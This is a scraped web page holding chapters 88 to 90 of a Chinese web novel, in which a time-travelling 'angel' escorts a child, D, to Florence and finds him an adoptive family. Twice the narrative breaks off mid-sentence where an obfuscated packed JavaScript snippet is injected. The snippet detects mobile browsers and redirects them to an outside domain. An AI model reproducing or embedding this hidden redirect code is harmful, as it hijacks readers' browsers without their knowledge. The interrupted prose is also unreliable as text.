他有点诧异地眨眨眼睛,没想出来这几天整天和斯库德腻在一起的那位女巫小姐在除了孩子们的事情外还能找自己干什么。 “具体的内容是?”他问。 “拉普兰女士说,最近她和斯库德一起比对先祖们留下来的资料,现在终于确定了一件事:那位传说中斩杀了龙的天使,在很久以前也曾经出现过,在北方杀死了另一条龙,救下了一个村庄的人。其中就有拉普兰女士的祖辈。” D转述着那位女巫小姐的话,同时抬头看着面前的天使:“她说,当时的那位天使称呼那头龙是OOL的一员,未来还会有更多的OOL来袭击人类。” 这回愣住的是夏章雾了。 他睁大眼睛,有些不可思议地听着这个对他来说过于巧合的故事。 “所以当时的人们在天使的帮助下选择团结起来,寻找能够杀死这种存在的方法,并且世代相传。拉普兰女士就继承了这个传统,她认为冰雪女王也是OOL中的一员,并且是威胁性最大的那个,所以选择在冰原边定居观察。从这种意义上来讲,她也是受到您恩惠的人。” D这样说着,最后又很严肃地补充了一句: “还有就是,拉普兰女士让你别多想。她最近和斯库德先生待在一起是因为他们需要对比和验证家族里的资料,不是你想的那个原因。” ——竟然还特意解释,何等此地无银三百两的行为!你们两个家伙分明就是在谈恋爱吧! 夏章雾很想这样大声地宣布,但他可悲地发现自己在如此巨大的信息量前,已经说不出任何话了。 今天他已经被未来穿越到过去的自己给背刺得足够惨烈,或者说他这一次的整个穿越都在不断地经历被背刺的过程。甚至他现在已经悲哀地想象起了这群被救下的孩子会不会在未来继续持之以恒地背刺他。 或者说是他们的后代在未来背刺他?听起来很奇怪,事实上也很奇怪。或许只有该死的作者才知道到底是怎么回事。 而D在此时又送上了十分恰当的致命一击。 “所以你是失忆了吗?”他有些好奇地问,“你已经不记得过去发生的事情了?” 夏章雾沉默了片刻,然后便使用了武力镇压的方式让未成年人成功地闭了嘴。 “……小孩子别问这么多问题。”他说,“我还是拿出本子,给你读点故事听吧。” 读者们哟,发挥你们才能的时候到了,快点给我编一点比较适合未成年阅读的积极健康小故事,来转移这个家伙的注意力啊! 88.这都是什么童年邪典画风 夜幕下低垂的星星。 噼里啪啦的火声。 风吹过草地温柔的窸窣。 虫子们低低的鸣叫。 夏章雾就这样蹲坐在火旁,伸手翻过书页,在寂静的夜晚带起一阵“哗啦啦”的声响。 他读着书上面所写的内容。而D在旁边认真地听着。 这是一个故事的开头。 “高塔遗址。这里是远离战场硝烟的禁地,比这场漫长战争更久远的古战场,永恒的冰雪和火焰已在这片土地肆虐千年。没有任何生灵会再出现在这……等等?” 夏章雾突然停顿了。他摸了摸下巴,露出相当狐疑的神色:“这个内容听起来是不是有点耳熟过头了?” D默默点头。 “是很耳熟。”他说。 夏章雾的嘴角扯了扯。 实际上这已经不是耳熟不耳熟的问题了,这完全就是之前他们经历过的事情吧!那座高塔就是冰雪女王的高塔,火焰就是融化了冰雪女王的火焰。毕竟他的记忆力真的没有差到连几个月前发生的大事都能忘记的程度。 于是怀揣着谨慎的心情,他先是把书往后面翻了一眼,飞快地瞥了眼上面的内容,然后就被里面的句子惊吓到了羽毛都快被炸出来的程度。 “呃呃呃——我亲爱的勒托先生到底是什么稀奇古怪的称呼啊!而且主角为什么是我,还有就是不要给中世纪未成年人宣传天使和恶魔谈恋爱的后现代世界观!” 作者在旁边同情地啧啧了两声。 看这倒霉孩子,被同人女吓得连母语都下意识地冒出来了。 D在一旁不解地看着似乎被故事内容气到的大人,轻轻歪了下脑袋,有点好奇接下来的内容到底是什么了。 “算了,我们这个故事还是不讲了。” 然而夏章雾只是气势汹汹地咬牙说道,重新往前翻了回来,苦大仇深地盯着这篇评论位于最开头的段落。 「玧末: 你要的故事来了,同人小短篇第一段,还没写完。CP是乌托邦,嗯,就这两,懂得都懂,有胡编乱造和自设部分。OOC见谅。」 一开始他还不明白这段话是什么意思,但是现在他懂了。可是这真的是他想要的故事吗,你要不要看看这故事到底适不适合小孩子啊! 很显然,今天又是被读者气到胃疼的一天。 夏章雾苦大仇深地直接往后面翻。 接下来是爱丽丝的表演舞台。 「桉莉斯: 主啊……我忏悔,我向死人告别,妄想抛下他奔赴新的人生。 是的……是我提出的分离。我的爱人似乎堕入地狱,他的哀嚎整日夜缠着我,而我的灵魂沸腾,如被炖煮的羹。不得已我去请了圣水——悲观的话,他或许将灰飞烟灭(垂目)」 夏章雾缓缓地眯起眼睛。 目前为止的话,只是一个普普通通的杀死了爱人又杀死了爱人灵魂后跑过来忏悔的小故事。虽然同样不太适合未成年人阅读,但他相信爱丽丝的功力绝对不会仅限于此。 于是他继续往下看,然后就看到了—— “咳咳咳咳,什么叫做杀死对方的原因是两个男人生下了一只猫啊!我看是这两个人都欠宗教审判所的火刑架了吧!这种猎奇小故事你们就这么想给孩子听吗!” 夏章雾差点被呛死,于是相当果断地继续把笔记本往后面翻。他现在决定先找点不是小故事的玩意来稍微缓缓。 他现在算是看出来了,读者们一旦开始写长篇大论,那么很大概率会有什么惊为天人的内容在后面等着谋杀他的眼睛。 「阴暗社畜A: 您就使劲坑自己吧……话说,你是不是应该把自己的真名告诉D啊。人小孩那么喜欢你,你却连真名都不乐意告诉人家。」 “勒托到底怎么就不算是真名了。这明明就是俄语里的‘夏’吧。所以我这才不算是连真名都不告诉,顶多只算是告诉了一部分。” 看到这样的评论,夏章雾也立刻进入了平常的状态,吐槽道。 “而且什么叫坑自己,我可是很注重自我保护的。不告诉真名就是因为这个。我的真名要是不小心泄露出去,钟塔侍从哪天从旧纸堆里找到了一个叫夏章雾的天使,那不就完蛋了?” 出门在外需要保护好自己的名字,至少夏章雾自己觉得这样的做法没有问题。 他继续往下看去。 接下来他又遇到了宛若超级绕口令的中世纪魔法故事,以D为原型的爱丽丝特色笑话,最后他沉默了片刻,决定开始朗诵玧末在评论区分享下烤乳鸽制作方法。 于是他深沉地朗读道:“制作步骤一、处理乳鸽:乳鸽洗净,去除内脏,沥干水分,在身上划几刀以便入味。二、调制腌料……” D忍不住抬起头:“那些给你预言的存在还会说这个吗?” “他们什么都说。不过这个好像的确不太算是一个故事。嗯,我还是给你讲讲爱丽丝那家伙编的关于白夜的故事吧,虽然只有半截,但那个好像已经是里面最正常的故事了。” “为什么只有半截?没有后续了吗?” 的确没有后续。 “这个倒不是很重要。” 夏章雾有点心虚地把笔记本合上,最后非常明智地转移了话题:“重要的是如果你再不把那只可怜的野鸡从树枝上面取下来的话,那我们今天的晚餐就要变成焦炭了。” 这一招非常有用。 D立刻就被转移了注意力,伸手把被火烤得冒油的半只鸡给拿了下来,然后用从夏章雾那里拿来的猎刀一丝不苟地切掉了已经被烤得焦黑的部分。 夏章雾则是托着下巴,饶有兴致地看着D小心翼翼地切分食物的动作。他现在已经确定了一件事:在被冰雪女王带走前,面前的这孩子绝对来自于某个贵族家庭。 在中世纪,这种食不厌精的态度可不是随随便便就能培养出来的。 D并不知道身边的大人到底在怎样揣测着自己的来历,他只是在很认真地把这只并不算肥硕的野鸡沿着骨头拆分开来。 这一步并不算难,因为大人在把鸡串到烤架上之前,就已经提前把野鸡的内脏部分给掏空扔掉了,也给鸡放了血,剥掉了皮。但他的动作依旧很谨慎——他并不想被鸡油沾到手指。 所以等到他把整只鸡都在木板上拆完时,旁边石锅里的汤也差不多煮好了。鸡肉的味道和野草的气味混合弥漫在一起。大人盛出一碗,放在他的手边。 这些加起来,就是他们的晚饭了。 “野鸡的味道比野兔子好多了。所有宣传烤野兔好吃的人最好自己去尝尝那是什么玩意。” 夏章雾从汤里面捞出一根鸡翅,颇有些感慨地说道:“上帝啊,一整只兔子都没几两肉,而且还特别难嚼和腥气。当我吃完这辈子吃过的第一只烤野兔的时候,我就觉得接下来就算打猎最好还是打点野鸡来吃。” 当然,其实野鸡的味道也不怎么样。之所以吃起来还不错,是因为夏章雾非常努力地在进行腌制和去腥。 事实证明,中世纪的任何肉类只要没加足够的香料,都能让味觉系统还没有失灵的现代人眼前一黑。而如果它们加了香料,那么就是让你的钱包眼前一黑了。 D没有做出任何评价,只是默默地把属于大人的那一份烤鸡递了过去,然后默默地吃着。 他在冰雪女王高塔上的那几年里没有吃过任何食物。冰雪女王并没有冻住他的心,但是对他也一视同仁地夺走了属于人的机能。在那座高高的塔上,所有人都没有饥饿或者寒冷的感知,只是宛若冰的雕塑那样存在着。 甚至没法用“生活”这样的词。 时隔多年后他第一次吃到的食物是女巫制作的汤。除了这趟旅途中吃过的那些东西,食物的记忆和气味都已经消散。所以他对食品的态度一向都是“差不多就行”。 他在意的是别的东西。 “勒托先生。” 把属于自己的那份食物解决完后,费奥多尔抬起头,轻声询问道:“我们还有多长的时间才能到佛罗伦萨?” 夏章雾喝掉了最后一口汤。 “后天。”他说,“我们后天就能到那里了。” 就算是舍弃了代步用的工具,这段本来就不算长的旅行也终究有结束的时候。每一天他们都在距离那座的城市更近,每一天他们都知道相处的时间正在流逝。 但是在最后的这段时间里,两个人好像都没有什么更多的话可以说。距离佛罗伦萨越近,D表现得就越沉默。 “好的。”D简单地回答。 他抬起头,注视着面前不断改变着姿态的篝火。那火焰的光芒在有着与它有着相似颜色的眼中跳动,仿佛赋予了那对眼睛一种格外明亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632948|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又鲜活的色彩。 ——这孩子此刻到底是在想什么呢? 夏章雾歪头看着他,忍不住地想。 不过他从来都没有明白过孩子的心思。读者们倒是给出过各种五花八门的猜测,但他也不觉得他们真的能够明白这孩子的想法。自从听过了冰雪女王的那番话,夏章雾就没有想明白过D的行为逻辑。 尤其是——为什么当时他会抛弃了当初主动找到的冰雪女王,选择自己呢? 夏章雾从来都不认为自己是非常具有人格魅力的大人,也不觉得自己能够用三言两语就让这样的一个孩子有了跟着他走的决心。 就算他当时飞上塔顶的时候,背后有一对相当显眼、在中世纪人看来相当具有宗教意义的大翅膀也一样。 整件事情不管怎么说都相当不可思议:冰雪女王会把召唤它的铃铛交给D,本身就说明了对方绝不可能那么轻易地就动用这份权力。而他竟然简简单单地就做到了这件事。 听起来就像是在他用泪水燃烧的火焰融化冰雪女王之前,他就莫名其妙地成功把另外一块雕像给融化了一样。 最可笑的是,夏章雾到现在都不明白自己到底通过哪个流程完成了这一史诗级难度的任务,面对结果时只能呆滞得像是个用脸滚键盘的方式打破了游戏速通世界纪录的玩家。 可恶,真的很想知道到底是怎么一回事啊。 夏章雾深吸了一口气,很认真很严肃地盯着D看,在脑海里想出了十七八种理由,但是又被自己残酷得否决了。 “不是哥们。” 作者在旁边围观了好久,终于忍不住说道:“你都这么好奇了,就不能问问对方吗?” 夏章雾深沉地“唔”了一声,依旧没有转移开自己的视线。 “虽然说也不是不能问,但总感觉如果问出来了就像认输了。”他这样说,短暂地纠结了一会儿,但最后还是下定了决心。 就在这时,D也看了过来。 他似乎是因为大人过长时间的注视而感到了轻微的不自在,微微地皱着眉。 “D。”“勒托先生。” 他们两个人几乎是同时开口,然后又在开口说出对方名字的瞬间就停了下来,几乎同时露出了“你先说”的表情。 在经过了长达几秒的互相凝视后,最终是D在这场互相瞪眼的比赛中输了下来。他叹了一口气,主动开口询问道:“你以后还会来看我吗,勒托先生?” 夏章雾眨了眨眼睛。 他几乎是瞬间就明白了对方的小心思,但他没有办法在这件事上做出任何承诺,因此下意识地便想要把否定的话说出口。 最后是作者拦住了他。 “喂喂喂,你表现得那么谨慎干什么?” 它理直气壮地说道:“你想想啊,F——布拉姆本来就是长生种,活个几百年毫无压力。说明你后续穿越的过程中遇到他几次也不是不可能,更何况你在遥远的未来真的会遇到与佛罗伦萨有关的任务。就算说‘是’又不会怎么样。” 嗯?这么一说也对。 夏章雾愣了一下,然后摸了摸下巴,面露深思之色:之前他还没有习惯用对待长生种的态度来对待D,所以下意识地忽略了这一点。 这么一想,他似乎可以稍微不负责一点地做出承诺了? 夏章雾看向面前的孩子,于是非常果断地点了下头。 “凡是会再见的,那就一定会再见。” 他说:“这可是先知的预言哦。” 预言吗? D抬头认真地看着大人,并不明白这句只是在自己论证自己的话为什么会成为一个预言。但他最后还是点了点头,像是表示自己相信了这个并不怎么靠谱的承诺。 接下来就轮到夏章雾问那个他没来得及说出口的问题了。 “所以你当时为什么给我摇响了铃铛?” 他好奇地揪了揪这个孩子缺少表情的面颊,歪头打量着他:“我很好奇,当时的我到底是哪个方面吸引了你。” D在他的手底下不动弹也不挣扎,只是轻轻地眨了眨那对红宝石色泽的眼睛。 “因为不想让自己后悔。” 他说:“我有一种感觉——如果这次不去抓住您,那我接下来的人生当中,就再也没有办法能够看到和您一样的人了。” 所以,必须要抓住才行啊。 89.命运也许迟到,但从不缺席! 佛罗伦萨。 这便是故事最后的一站了。 在第三天的深夜,他们就抵达了这座花之女神眷顾的城市,并且在这座繁荣的城市当中寻找到了供旅人休息的旅馆。 就像是他们一路上住过的那些旅馆,佛罗伦萨的这个并没有因为它所处的城市发生多少显著的改变。并没有多好,但也没有糟糕到用稻草铺地和当床的地步。 夏章雾习以为常地点了一个房间。 住七天,顺带加上标配的黑面包早餐。 在支付完后,大人计算着自己手头还剩下的钱财,感觉在结束这次的中世纪之旅后大概还能剩下来不少存款——真见鬼,他在这个时代的财运就莫名其妙地要比二十一世纪好很多。 不过这些钱对他来说也没什么用处。除了有几枚他想带回去当做旅行的纪念,其余的倒是都可以送给D。 但具体还剩下多少还是有必要算清的。 就这样,夏章雾在床上努力地计算着自己目前所有的资产,并为中世纪乱七八糟的币制换算和折旧感到焦头烂额。 等到最后终于算出了大致数字的时候,他只觉得头昏眼花,突然有了一种自己在计算遗产分配的幻觉。 而此时D已经睡着了。 孩子窝在夏章雾的身边,呼吸均匀,眼睑没有不自然地跳动,显然睡得并不算浅。不过尽管那对绯红的眼睛此刻正安静地闭着,但他的手指还是在紧紧地拽着大人的衣摆,像是害怕大人趁他不注意就会悄悄地消失不见。 这种态度让夏章雾都忍不住反省起了自己,并开始思考自己到底是做了什么,才给了这孩子一言不合就会跑路的负面印象。 不过他还是轻轻地握住孩子的手,缓慢而又轻柔地把自己的衣服从对方的掌心解救出来,然后从床上小心翼翼地起身。 很抱歉,他今天晚上还真的要出门。 不过在出门前,夏章雾还是花了点时间,跪坐在床边安安静静地看着这个孩子,用手指轻轻地为他整理了一下落在脸颊上的头发。 他想到了之前这孩子在篝火前对他说的话。 ——因为感觉这是仅有一次机会才能抓住的相遇,所以无论如何都不想放手吗? 有些相遇的确注定是奇迹一样的东西。 对于某些人或者某些事物,在看到的时候就能够明白:这样的场景绝对不会发生第二次,绝对不会允许有其他的机会,绝对不会有方法重新挽回。就算是在无数可能性的宇宙中,只要错过了,也绝不会再有其他再见的可能。 那真的是一种相当、相当奇妙的感觉。 夏章雾自己从来都没有过这样的感觉。 他只是会听别人讲起那种仿佛上天注定时刻的故事,在旁边当一个看热闹吃瓜的倾听者。 不过或许就算是遇到了,他也不会产生想要紧紧抓住这种机会的冲动。因为他本身不过是一个相当满足于自己已有生活的家伙,他对所有存在于自己世界外的东西都并不是很在乎。 在这个世界上,他并无强烈的渴望,也没有非要达成的目标。非要说的话,他只是拥有几份无可推卸的责任罢了。 但就是因为这样有些麻烦的“必须要负责啊”的无奈想法,他这个更喜欢躺在棺材里面对世界末日的家伙才扮演了救世主的身份,并带着自己身边的孩子走到了这里。 如果他们是在任何其他的地点相遇,如果他们是在其他任何的时间相遇…… 这种莫名其妙的旅途还会发生吗?他还会像这样在意这个沉默的孩子吗? 夏章雾低下头,看着睡着了的人,最后有些无奈地微笑起来。 他可以给出非常坚定的回答。 “不会”。 如果冰雪女王没有在高塔上面对他说出那番话,如果没有因此而产生的内疚心,那么就算是这个孩子的性格再固执一万倍,他也会在敷衍地安慰几句后毫不犹豫地选择回到自己的时代。 所以说,命运还真是奇妙啊。 ——就算是能够预言命运的先知,在面对它的时候,也只能成为被捉弄的那一个。 夏章雾轻轻地摸了摸这孩子的脑袋,然后站起身离开。 他走出旅馆,张开翅膀飞往这个时候还在亮着灯的富人区,寻找着自己在白天从街头巷尾的议论中得知的那些人所在的地方。 对于应该给D寻找什么样的家庭,他暂时还没有太多的主意。但这一次,已经有了丰富经验的先知先生觉得自己最好还是不要去问D到底有什么样的意见。 毕竟以那孩子的挑剔程度,他觉得自己就算是把全佛罗伦萨所有人全都找一遍,都不一定能找到能让对方挑不出毛病的家。 就这样,夏章雾寻找了两三个街道。 结局基本都是一无所获。 只有两个家庭勉强被他放进了备选里。但他也不着急——在中世纪,为来路不明的孩子寻找收养家庭本来就是很困难的事情。更何况他的目标还很高。 本来在他最初的预想中,自己至少也要找上好几天,才能够列出一个大致的名单。 “所以你到底是想要早点找到一个适合他成长的家庭,还是晚一点?” 画外音有些好奇的声音传来。 夏章雾此时已经暂时收起了翅膀,站在一栋房子的屋顶上打量着周围的道路,并在听到这句话后有些茫然地“唔”了一声。 “没有想法。”他说,“反正对我来说,这两种情况的差别也不大。但非要说的话,作为人类学家,我还是挺喜欢中世纪的。” 在这个时代中,很多稀奇古怪的传说还没有退出历史的舞台,很多大众化的故事模板才刚刚从人们口中形成雏形,很多被人熟知的故事在此时以更加原始而富有魅力的面貌存在。 对于人类学研究者来说,这里某些再寻常不过的事物都是他们在二十一世纪苦苦追求和研究的东西本身。 但画外音想知道的明显不是这个答案。 “但你不想多陪那孩子一会儿吗?” 它终于展现出了自己的目的:“如果你能晚一点找到适合他的家庭,你们就有更多相处的时间了。” 救世主先生轻轻地挑了下眉。 他看着不远处的风景:佛罗伦萨的夜晚此时灯光寥寥,蝙蝠在夜空中悄无声息地振翅。巡夜人在街道上来回地走动。在街道的两端没有照亮前方的路灯,取而代之的是点燃的火把。 “虽然不知道发生了什么,但我觉得你肯定搞错了一件事情。” 夏章雾用非常认真的语气说:“如果我到了连这几天的相处都非常珍视的地步,我就不会想着该怎么摆脱他,然后回去了。” “那你会?” “我会直接问你怎么才能带他一同前往二十一世纪。事情就是这样。” 说完这句话后,夏章雾便张开翅膀,朝着下方的居民区滑翔而去。微风承托着他在空中的滑行,带来属于玫瑰的奇特芬芳气味。 最后他落在一个种满了玫瑰花的院子中。 这些娇贵的花朵被照顾得很好,在时节最恰当的五月份,它们娇滴滴地展开着花瓣,在月色中散发出馥郁迷人的香气。 装饰考究的房子里,百叶窗则是透出暖黄的光芒。灯火温暖的光线从中照射出来,能够看到极其朦胧的人影在其中晃动着。其中传来相当影影约约的模糊声音。 夏章雾抬起头思考了几秒,最后选择扇动翅膀,飞到窗户边。 他打算听听里面的人正在说什么。 他目前毕竟还处于“正在考核全佛罗伦萨家庭状况”的状态中,任何信息都不能放过。 然后他就听到了里面女人的声音。 这个房间似乎是一个祷告室。贵族家庭里总是会出现的东西。一个女人——听上去就是这间房子的女主人,正在真诚地对上帝祈祷着。 只不过她说的拉丁语实在是有点撇脚,里面混杂了相当多含混不清的奇怪音节,语法听上去也充斥着初学者才会有的问题。就连夏章雾都没办法搞清楚她说的每个字,只能连蒙带猜地揣测对方话里大致的意思。 但如果他没有听错,那么女人所说的话大概是这样的: “上帝啊,我的一生别无所求。” 女人用听上去非常悲伤的声音说:“只是我到现在都没有拥有属于自己的孩子。” 夏章雾在窗外若有所思地点了点头。 挺巧的,正好是一个希望有孩子的家庭。 他提了提精神,继续尝试理解里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639152|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那女人那拗口的拉丁语。 “虽然我的丈夫并没有因为这个而嫌弃我,虽然我也知道以自己孱弱的身体,就算怀孕也只能给家庭带来更多的不幸,但这一切还是多么的令人感到遗憾啊!” 她说:“我们决定离开家族,独自来到这座城市已经三年了。我知道,世界上没有比我的丈夫更喜欢孩子的人了。他每次看到孩子时,都会发自内心地微笑起来。可是我们到现在竟然都没有一个孩子,又没有旁支子弟过继……” 伴随着她的情绪越发激动,说出来的拉丁语也越来越词不达意了,夏章雾听了一会儿,只觉得自己的思维完全跟不上对方的说话速度,于是也只好放弃。 不过他倒是明白了一点:这个女人大概是从北方来的,否则以她的贵族身份,也不太可能连拉丁语都说得磕磕绊绊。 根据她自己的说法,她和丈夫都很想要一个孩子。但是她的身体太虚弱没有办法怀孕,怀孕了也有很大概率一尸两命,所以只能收养一个孩子。再加上他们来到佛罗伦萨时似乎和家族也断了关系,所以没有办法过继家族旁支的子嗣。 听上去非常符合选择的标准。 夏章雾默默地把他们放进了备选项中。 接下来需要观察一番这个家里的人是否真的如她所说的喜欢和需要一个孩子,还要仔细考核一番他们的人品和道德素质。他可是说了要把这孩子托付给值得的人,可不能这么随便地听完一己之词就做出选择。 在心里默默记下了这个家庭的地址后,他就重新拍打翅膀,飞回到了城市的上方,打算等到把这个街道的家庭全部看完后再回去。 或许这种不断重复的观察工作过于无聊的缘故,作者在旁边只是安静地看了一会儿,便又忍不住继续叽叽喳喳了起来。 “我说,主角先生。” 它用那种相当八卦的语气询问道:“如果可以的话,我是说如果——你既然觉得那孩子就是布拉姆,也知道他未来有一天会死,那么你会告诉他这件事,尝试让他避开吗?” 夏章雾的动作微微一顿。 然后他平静地反问:“所以,有用吗?” 这回连作者都讪讪地笑了两下。 “当然没有用。” 它老实地回答:“毕竟让你回到过去杀死文学负面体这件事本身,就是为了让未来变得更加合理啊。所以在未来已经木已成舟的事实,是无论如何都无法改变的。” 这种事作者知道,读者知道,主角也知道。 其实这种话题他们曾经就聊过。那时还是作者用这类的台词劝说夏章雾不要把所有的希望寄托在“记忆消除器”这种东西上。 现在想起来,其实这件事还颇有点风水轮流转的色彩。 “所以就不用去说了啊。先知所说出口的有关于灾难的预言,不管怎么说都得有被改变的可能才对。单纯宣告无可避免的灾难,顶多只是在让所有当事人都变得不幸罢了。” 所以夏章雾对这种回答也不惊讶。 他只是坐在窗边的,一边听这家人的闲聊,一边用有些嫌弃的口吻和作者聊天:“毕竟我可不想制造另一个俄狄浦斯王。我知道像你这样的作者绝对拒绝不了写这样一个故事的诱惑,所以最好的结局就是什么都不说。” 回答他的是空气中短暂的沉默。 “可恶,还真是被你看出来了。” 在非常短的无言后,作者还是忍不住郁闷地嘟哝起来:“但既然都写了先知题材的故事,如果不创作一个俄狄浦斯王那样的角色,肯定会感觉会非常遗憾啊。” “是吗,我只会觉得太好了。” 夏章雾毫不客气地回答。 他把这最后一个家庭在备选名单上划除,然后展翅往旅馆的方向飞去。并没有花上太久的时间,他就重新回到了旅馆,并且打开了房门。 D已经醒了。 这个孩子坐在床上,用那对在夜色下似乎有着幽微反光的红眼睛看着门口的位置,在看到进来的是夏章雾后才重新往被子里钻了钻。 夏章雾无声地叹了口气。 他重新躺回床上,把孩子抱到怀里。 “好啦好啦,今晚的事情忙完了。”他这样说道,“我不出门了。睡觉吧。” 90.现在你们可以思考该怎么发挥了 “喂,主角先生。” “嗯,怎么了?” “没什么,我只是突然发现你不做人的程度稍微有点超出我的想象。” 夏章雾短暂地沉思了片刻:“有吗?” “你给我好好地看着这个刚刚被你用麻醉剂放倒的未成年,再和我说话。” 作者用仿佛在牙疼的声音说道:“而且你到底是出于什么样的心态才会在自己出行前的行李里放麻醉剂啊!” “原来你说的是这个?医疗包里放麻醉剂不是很正常吗,毕竟它的镇痛效果在野外很难被合适的东西取代。” 夏章雾低头看了眼躺在床上的孩子,思考了几秒后认真地说道:“而且你放心吧,我用的是一次性消毒针筒,很安全。以前我还特意请教过这种东西的药量问题,不用担心注射过量。” 现在最重要的问题是这个吗? 作者很想要这么反问自己家的主角,但它最后还是释怀地放弃了,只是发出了一声深沉而又疲惫的叹息。 夏章雾也没有管作者。他只是用手指戳了戳那个昏迷不醒的孩子脸颊,然后又用力地捏了一下,成功地把那张苍白的脸增加了几分人工的红润感。 你别说,手感软乎乎的,摸不到骨头。看来他这几天把这孩子养得还算不错。 他满意地点点头,最后把昏迷着的D抱到怀里,展开翅膀从房间里飞了出去。 体重似乎比之前抱着时要沉了些。不过这也很正常,毕竟是八九岁的孩子,正在争分夺秒地长着个子。 “所以最后经过我在佛罗伦萨展开的为期一周的多重调查,我还是决定了:那家有着一片玫瑰花园的家庭最适合收养你。” 夏章雾一边飞着,一边对怀里的孩子自言自语般地嘟囔道:“未来可别再跟着别的什么莫名其妙的东西离家出走。我都决定要为了你未来的生活待遇,去好好地装神弄鬼一番了。要是被辜负心思,我可是会很郁闷的。” D没有说话。 那当然,因为他还昏着呢。 不过他此时要是没有中了麻醉剂的招数,估计也不会说什么话,顶多只是用力地抓住夏章雾的衣摆,摆出那副只有在他心情不太好时才会露出的固执表情。 “所以说我还是觉得长痛不如短痛。” 夏章雾很智慧地对作者这样说道:“与其说在这样沉闷的气氛当中分别,还不如直接把人药昏后直接一步到位。等到他醒过来,面对这种木已成舟的结局,应该就比较容易接受了。” “……” 作者谨慎地保持了沉默,并不想对这家伙过于奇葩的脑回路给出任何形式的评价。但看在读者的面子上,它最后还是艰难地问了一句话。 “读者们不是让你好好和他告别吗?而且liar还想要你替她说一句对这孩子再见。”它说,“如果只是这个样子的话,恐怕连再见都不会有机会说的吧?” 然而夏章雾一脸很有把握的样子。 “你别管,这件事我自有计划。”他说。 那个开满玫瑰的花园很快就到了。 这里距离他们居住的旅馆并不是太远。这也是为什么当初夏章雾在第一个夜晚就找到了他们家的房子。 抱着孩子的先知轻轻地落在花园里。 他并没有急着把D带上去,而是先拿出了自己的笔记本,从上面扯下一页,又抽出自己夹在上面的钢笔。 随后他简短地在上面写了一行字,将纸上带有字的那一边撕下来,折叠成一个小方块,塞到了孩子的掌心,然后把对方的手指扣上,确认这张纸能被紧紧地握住。 “差不多就这样。” 在做出这些事后,夏章雾明显松了口气。 不过他还是没有立刻去做下一步自己应该干的事情,而是继续看着D,似乎突然发现了什么很重要的东西,并因此陷入了某种相当哲学性质的思考状态中。 但作者在一旁左看右看,都没有明白自己这个主角这么做的原因。它既不觉得这么做是这家伙良心发现,也不认为这个人是突然改变了某些主意。所以它干脆直接提出了问题。 “你在干什么?”它问,“直勾勾地盯着未成年这么看真的很变态欸。” “不,我只是在看着孩子的时候,突然想起了一件非常、非常严肃的事情。” 夏章雾皱着眉,盯着D的脸,这样说道。 他的表情显得相当严峻,严峻到作者都开始怀疑这家伙是不是真的发现了真相,于是也不得不跟着担心了起来。 “呃,什么严肃的事情?”它试探地说。 “他真的很少笑啊。”夏章雾拧着眉,用稍微有点困惑的声音嘟哝道,“我才发现,我好像只见到过他笑了一次,而且还是那次宴会上。” 其实那也很难说到底是不是一个真正的笑。 因为那时D的脸上也没有很分明的表情。他只是眯起眼睛,发出了一个轻轻的、带着调侃意味的短促气音。 真要说的话,那种正常人连上经常看到的、被称之为笑容的神态,真的从来没有在这孩子的身上看到过。 这就接触到作者的盲区了。 它也发出了一声困惑的“欸”,然后跟着回忆起这件事来。 “应该有吧?”它说起这句话时,语气就连自己都有点不确定,“应该笑过的吧?” 为了验证这一点,它飞快地戳开了自己的文档搜索栏,并且快速地搜索了一番关键词,最后有些尴尬的发现—— 嗯,好像确实没有。 “所以说,微妙地有些遗憾啊。竟然到最后没能看到他笑起来的样子,明明还是个很可爱的孩子,笑起来一定会很好看。” 夏章雾叹了口气,这样说道。 他尝试给对方的嘴角手动扯出一个笑容,最后又不得不因为这样的笑容太过僵硬和别扭而放弃了,只能重新把孩子抱紧。 “如果他能和那个俄罗斯人稍微平分一下脸上表情的出现频率就好了。”他忍不住又对作者吐槽了一句,“那家伙整天都笑眯眯的,看上去真的很渗人。” 作者不语,只是默默地把这句记了下来。 它现在已经开始期待等到这家伙重新回到二十一世纪,发现事情真相到底是怎么一回事后的震惊表情了。到时候它一定会把这几句话丢到他脸上反复放送的。 而夏章雾现在还对自己将要遭到的东西一无所知。他只是拍拍翅膀,轻巧地飞到了窗户边,并没有花上太多的时间就确认了现在房子的男主人与女主人此时已经睡着了。 今天他来得比较晚,就是为了等到他们上床睡觉的时间——根据夏章雾自己的亲身经历,一般人在睡梦中被喊醒后大脑是停转的。在这种情况下,他们的情绪更容易产生波动,也更容易被骗……不对,是更容易相信别人。 不过话说回来,他要是有卡罗尔的能力,那就可以通过托梦来快速解决了。 虽然脑子里想着这些有的没的,但夏章雾的速度并没有慢。他轻轻地把D放在了这一家的门口,然后便飞到了窗前,打算提前与这家的主人们打个招呼。 台词他都已经想好了,不需要太长。首先是假装自己是天使,其次是说自己为他们带来了一个孩子,最后以相当天使的姿态飞走——只要这么做就行。 他已经对这家人进行了充分的调查。他确定他们都是虔诚的信徒,人品和道德素质也相当符合《圣经》对虔诚信徒的要求。最重要的是,他们真的非常想要一个孩子。 甚至夏章雾都觉得自己要是不找上门,他们都会在未来去济贫院领养一个孩子回来。 所以,无需担忧。 准备假冒天使的某人深吸一口气。 他做足了心理准备,然后从窗户外面打开了被合拢的百叶窗:他准备开始表演了。 …… 